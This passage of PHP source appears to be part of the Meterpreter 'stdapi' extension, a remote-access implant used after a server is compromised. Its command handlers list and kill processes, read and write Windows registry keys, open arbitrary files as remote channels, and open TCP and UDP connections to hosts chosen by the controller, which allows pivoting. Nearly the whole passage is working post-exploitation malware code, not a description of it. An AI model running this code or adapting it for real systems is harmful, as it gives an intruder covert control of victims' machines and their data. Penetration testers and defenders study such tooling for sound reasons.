  662. $pieces[0] = substr($pieces[0], 1, strlen($pieces[0]));
  663. $cnt = count($pieces) - 1;
  664. $pieces[$cnt] = substr($pieces[$cnt], 1, strlen($pieces[$cnt]));
  665. $proc_info = array($pieces[1], $pieces[6], $pieces[0]);
  666. array_push($list, $proc_info);
  667. }
  668. } else {
  669. # This command produces a line like:
  670. # 1553 root /sbin/getty -8 38400 tty1
  671. $output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null");
  672. $lines = explode("\n", trim($output));
  673. foreach ($lines as $line) {
  674. array_push($list, preg_split("/\s+/", trim($line)));
  675. }
  676. }
  677. foreach ($list as $proc) {
  678. $grp = "";
  679. $grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0]));
  680. $grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1]));
  681. $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2]));
  682. # Strip the pid and the user name off the front; the rest will be the
  683. # full command line
  684. array_shift($proc);
  685. array_shift($proc);
  686. $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " ")));
  687. packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp));
  688. }
  689. return ERROR_SUCCESS;
  690. }
  691. }
  692. # works
  693. if (!function_exists('stdapi_sys_process_getpid')) {
  694. register_command('stdapi_sys_process_getpid');
  695. function stdapi_sys_process_getpid($req, &$pkt) {
  696. my_print("doing getpid");
  697. packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid()));
  698. return ERROR_SUCCESS;
  699. }
  700. }
  701. if (!function_exists('stdapi_sys_process_kill')) {
  702. register_command('stdapi_sys_process_kill');
  703. function stdapi_sys_process_kill($req, &$pkt) {
  704. # The existence of posix_kill is unlikely (it's a php compile-time option
  705. # that isn't enabled by default, but better to try it and avoid shelling
  706. # out when unnecessary.
  707. my_print("doing kill");
  708. $pid_tlv = packet_get_tlv($req, TLV_TYPE_PID);
  709. $pid = $pid_tlv['value'];
  710. if (is_callable('posix_kill')) {
  711. $ret = posix_kill($pid, 9);
  712. $ret = $ret ? ERROR_SUCCESS : posix_get_last_error();
  713. if ($ret != ERROR_SUCCESS) {
  714. my_print(posix_strerror($ret));
  715. }
  716. } else {
  717. $ret = ERROR_FAILURE;
  718. if (is_windows()) {
  719. my_cmd("taskkill /f /pid $pid");
  720. # Don't know how to check for success yet, so just assume it worked
  721. $ret = ERROR_SUCCESS;
  722. } else {
  723. if ("foo" == my_cmd("kill -9 $pid && echo foo")) {
  724. $ret = ERROR_SUCCESS;
  725. }
  726. }
  727. }
  728. return $ret;
  729. }
  730. }
  731. if (!function_exists('stdapi_net_socket_tcp_shutdown')) {
  732. register_command('stdapi_net_socket_tcp_shutdown');
  733. function stdapi_net_socket_tcp_shutdown($req, &$pkt) {
  734. my_print("doing stdapi_net_socket_tcp_shutdown");
  735. $cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID);
  736. $c = get_channel_by_id($cid_tlv['value']);
  737. if ($c && $c['type'] == 'socket') {
  738. @socket_shutdown($c[0], $how);
  739. $ret = ERROR_SUCCESS;
  740. } else {
  741. $ret = ERROR_FAILURE;
  742. }
  743. return $ret;
  744. }
  745. }
  746. #
  747. # Registry
  748. #
  749. if (!function_exists('register_registry_key')) {
  750. $_GLOBALS['registry_handles'] = array();
  751. function register_registry_key($key) {
  752. global $registry_handles;
  753. $registry_handles[] = $key;
  754. return count($registry_handles) - 1;
  755. }
  756. }
  757. if (!function_exists('deregister_registry_key')) {
  758. function deregister_registry_key($id) {
  759. global $registry_handles;
  760. $registry_handles[$id] = null;
  761. }
  762. }
  763. if (!function_exists('stdapi_registry_create_key')) {
  764. if (is_windows() and is_callable('reg_open_key')) {
  765. register_command('stdapi_registry_create_key');
  766. }
  767. function stdapi_registry_create_key($req, &$pkt) {
  768. my_print("doing stdapi_registry_create_key");
  769. if (is_windows() and is_callable('reg_open_key')) {
  770. $root_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY);
  771. $base_tlv = packet_get_tlv($req, TLV_TYPE_BASE_KEY);
  772. $perm_tlv = packet_get_tlv($req, TLV_TYPE_PERMISSION);
  773. dump_array($root_tlv);
  774. dump_array($base_tlv);
  775. # For some reason the php constants for registry root keys do not have
  776. # the high bit set and are 1 less than the normal Windows constants, so
  777. # fix it here.
  778. $root = ($root_tlv['value'] & ~0x80000000) + 1;
  779. $base = $base_tlv['value'];
  780. my_print("reg opening '$root', '$base'");
  781. $key = reg_open_key($root, $base);
  782. if (!$key) {
  783. my_print("reg open failed: $key");
  784. return ERROR_FAILURE;
  785. }
  786. $key_id = register_registry_key($key);
  787. packet_add_tlv($pkt, create_tlv(TLV_TYPE_HKEY, $key_id));
  788. return ERROR_SUCCESS;
  789. } else {
  790. return ERROR_FAILURE;
  791. }
  792. }
  793. }
  794. if (!function_exists('stdapi_registry_close_key')) {
  795. if (is_windows() and is_callable('reg_open_key')) {
  796. register_command('stdapi_registry_close_key');
  797. }
  798. function stdapi_registry_close_key($req, &$pkt) {
  799. if (is_windows() and is_callable('reg_open_key')) {
  800. global $registry_handles;
  801. my_print("doing stdapi_registry_close_key");
  802. $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY);
  803. $key_id = $key_id_tlv['value'];
  804. reg_close_key($registry_handles[$key_id]);
  805. deregister_registry_key($key_id);
  806. return ERROR_SUCCESS;
  807. } else {
  808. return ERROR_FAILURE;
  809. }
  810. }
  811. }
  812. if (!function_exists('stdapi_registry_query_value')) {
  813. if (is_windows() and is_callable('reg_open_key')) {
  814. register_command('stdapi_registry_query_value');
  815. }
  816. function stdapi_registry_query_value($req, &$pkt) {
  817. if (is_windows() and is_callable('reg_open_key')) {
  818. global $registry_handles;
  819. my_print("doing stdapi_registry_query_value");
  820. $key_id_tlv = packet_get_tlv($req, TLV_TYPE_HKEY);
  821. $key_id = $key_id_tlv['value'];
  822. $name_tlv = packet_get_tlv($req, TLV_TYPE_VALUE_NAME);
  823. $name = $name_tlv['value'];
  824. #my_print("Looking up stored key handle $key_id");
  825. #dump_array($registry_handles, "Reg handles");
  826. $key = $registry_handles[$key_id];
  827. if (!$key) {
  828. return ERROR_FAILURE;
  829. }
  830. $data = reg_get_value($key, $name);
  831. my_print("Found data for $key\\$name : $data, ". is_int($data));
  832. # There doesn't appear to be an API to get the type, all we can do is
  833. # infer based on what the value looks like. =(
  834. if (is_int($data)) {
  835. $type = REG_DWORD;
  836. $data = pack("N", (int)$data);
  837. } else {
  838. $type = REG_SZ;
  839. # The api strips the null for us, so put it back
  840. $data = $data ."\x00";
  841. }
  842. packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_DATA, $data));
  843. packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_TYPE, $type));
  844. } else {
  845. return ERROR_FAILURE;
  846. }
  847. }
  848. }
  849. if (!function_exists('stdapi_registry_set_value')) {
  850. if (is_windows() and is_callable('reg_open_key')) {
  851. register_command('stdapi_registry_set_value');
  852. }
  853. function stdapi_registry_set_value($req, &$pkt) {
  854. if (is_windows() and is_callable('reg_open_key')) {
  855. global $registry_handles;
  856. my_print("doing stdapi_registry_set_value");
  857. $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY);
  858. $key_id = $key_id_tlv['value'];
  859. } else {
  860. return ERROR_FAILURE;
  861. }
  862. }
  863. }
  864. # END STDAPI
  865. ##
  866. # Channel Helper Functions
  867. ##
  868. if (!function_exists('channel_create_stdapi_fs_file')) {
  869. function channel_create_stdapi_fs_file($req, &$pkt) {
  870. $fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH);
  871. $mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE);
  872. #my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}");
  873. if (!$mode_tlv) {
  874. $mode_tlv = array('value' => 'rb');
  875. }
  876. $fd = @fopen($fpath_tlv['value'], $mode_tlv['value']);
  877. if (is_resource($fd)) {
  878. register_stream($fd);
  879. $id = register_channel($fd);
  880. packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
  881. return ERROR_SUCCESS;
  882. } else {
  883. my_print("Failed to open");
  884. }
  885. return ERROR_FAILURE;
  886. }
  887. }
  888. if (!function_exists('channel_create_stdapi_net_tcp_client')) {
  889. function channel_create_stdapi_net_tcp_client($req, &$pkt) {
  890. my_print("creating tcp client");
  891. $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST);
  892. $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT);
  893. $local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST);
  894. $local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT);
  895. $retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES);
  896. if ($retries_tlv['value']) {
  897. $retries = $retries_tlv['value'];
  898. } else {
  899. $retries = 1;
  900. }
  901. for ($i = 0; $i < $retries; $i++) {
  902. $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value']);
  903. if ($sock) {
  904. break;
  905. }
  906. }
  907. if (!$sock) {
  908. return ERROR_CONNECTION_ERROR;
  909. }
  910. #
  911. # If we got here, the connection worked, respond with the new channel ID
  912. #
  913. $id = register_channel($sock);
  914. packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
  915. add_reader($sock);
  916. return ERROR_SUCCESS;
  917. }
  918. }
  919. if (!function_exists('channel_create_stdapi_net_udp_client')) {
  920. function channel_create_stdapi_net_udp_client($req, &$pkt) {
  921. my_print("creating udp client");
  922. $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST);
  923. $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT);
  924. # We can't actually do anything with local_host and local_port because PHP
  925. # doesn't let us specify these values in any of the exposed socket API
  926. # functions.
  927. #$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST);
  928. #$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT);
  929. $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value'], 'udp');
  930. my_print("UDP channel on {$sock}");
  931. if (!$sock) {
  932. return ERROR_CONNECTION_ERROR;
  933. }
  934. #
  935. # If we got here, the connection worked, respond with the new channel ID
  936. #
  937. $id = register_channel($sock);
  938. packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id));
  939. add_reader($sock);
  940. return ERROR_SUCCESS;
  941. }
  942. }